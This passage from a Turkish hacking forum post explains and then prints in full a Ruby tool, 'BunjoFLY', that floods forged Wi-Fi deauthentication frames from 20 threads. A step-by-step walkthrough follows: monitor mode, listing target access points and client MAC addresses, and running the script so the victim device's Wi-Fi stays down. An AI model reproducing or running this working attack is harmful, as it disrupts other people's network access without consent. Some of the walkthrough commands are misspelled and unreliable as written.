oluşturulan deauth paketini belirtilen ağ arayüzü (@params[: iface]) (Ağ arayüzü kısacası) üzerinden ağa gönderir. to_w (paketi yazdırmak, yollaman manasında) metodunun parametreleri arasında paket boyutu (number), aralık (interval), ve hesaplama (calc: true) seçenekleri bulunmaktadır.


Ruby:
def main
    puts("IFACE: #{@params[:iface]}")
    puts("BSSID: #{@params[:bssid]}")
    puts("CLIENT: #{@params[:client]}")
    puts("SIZE: #{@params[:size]}")

    puts "Sending Deauth Packets..."

    20.times do
      @threads << Thread.new { send_deauth }
    end

    @threads.each(&:join)
    EM.stop
  end
end

Programın çalıştırılmasını sağlayan ana fonksiyon bu bölümde tanımlanır.

"iface", "bssid" gibi gerekli değişkenler ekrana yazdırılır.

20 adet thread (işlem parçacığı) oluşturulur ve @ threads adlı diziye eklenir

daha sonra bu dizinin içinde bulunan bütün işlem parçacıkları çalıştırılır.


Ruby:
EM.run do
  begin
    bunjofly = BunjoFLY.new
    bunjofly.option_parser
    bunjofly.main
  rescue => err
    puts("ERROR: #{err}")
  end
end

EM (yani evetnmachine) kullanılarak Global Interpreter Lock mekanizmasından kaçınılıp, bütün threadlerin eş zamanlı çalışmasını sağlar.

Tüm Kod:

Ruby:
#!/usr/bin/env ruby
require 'packetgen'
require 'optparse'
require 'eventmachine'

class BunjoFLY
  def initialize
    @params = {
      bssid: nil,
      client: nil,
      iface: nil,
      size: 500,
    }

    @threads = Array.new
  end

  def option_parser
    OptionParser.new do |opts|
      opts.on("--bssid BSSID") do |bssid|
        @params[:bssid] = bssid
      end

      opts.on("--client CLIENT") do |client|
        @params[:client] = client
      end

      opts.on("--iface IFACE") do |iface|
        @params[:iface] = iface
      end
    end.parse!
  end

  def send_deauth
    loop do
      pkt = PacketGen.gen('RadioTap').
        add('Dot11::Management', mac1: @params[:client], mac2: @params[:bssid], mac3: @params[:bssid]).
        add('Dot11::DeAuth', reason: 7)

      pkt.to_w(@params[:iface], calc: true, number: @params[:size], interval: 0.2)
    end
  end

  def main
    puts("IFACE: #{@params[:iface]}")
    puts("BSSID: #{@params[:bssid]}")
    puts("CLIENT: #{@params[:client]}")
    puts("SIZE: #{@params[:size]}")

    puts "Sending Deauth Packets..."

    20.times do
      @threads << Thread.new { send_deauth }
    end

    @threads.each(&:join)
    EM.stop
  end
end

EM.run do
  begin
    bunjofly = BunjoFLY.new
    bunjofly.option_parser
    bunjofly.main
  rescue => err
    puts("ERROR: #{err}")
  end
end


Test Aşaması

Hedef internete bağlı olan bir cihazda programı test edeceğiz.

Ağ kartının monitör moduna alınması:

aireplay-ng start (ağ kartınız)

lc7fsj0.png


iwconfig yazarak sonu mon ile biten ağ kartınızı seçebilirsiniz

airodump-ng (ağ kartı)


lqof6tx.png


Hedef erişim noktaları ve cihazlar listelenecektir.

ariodump-ng --bssif (Hedef modem mac adresi) --channel (Hedef modem kanal numarası) (ağ kartınız)

2cw5ba1.png


Bu aşamada seçtiğiniz erişim noktasına bağlı cihazların mac adresleri ekrana çıkacaktır.

ruby main.rb --bssid modem_mac --client hedef_cihaz_mac --iface ağ_kartınız


bwviye7.png


Hedef cihazda wifi kesildi ve siz kapatana kadar de tekrar açılmayacak.

jn79nj0.png



Okuyan herkese teşekkür ederim,

İyi forumlar.

Github adresi.


Eline Sağlık Esenlikler Dilerim
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.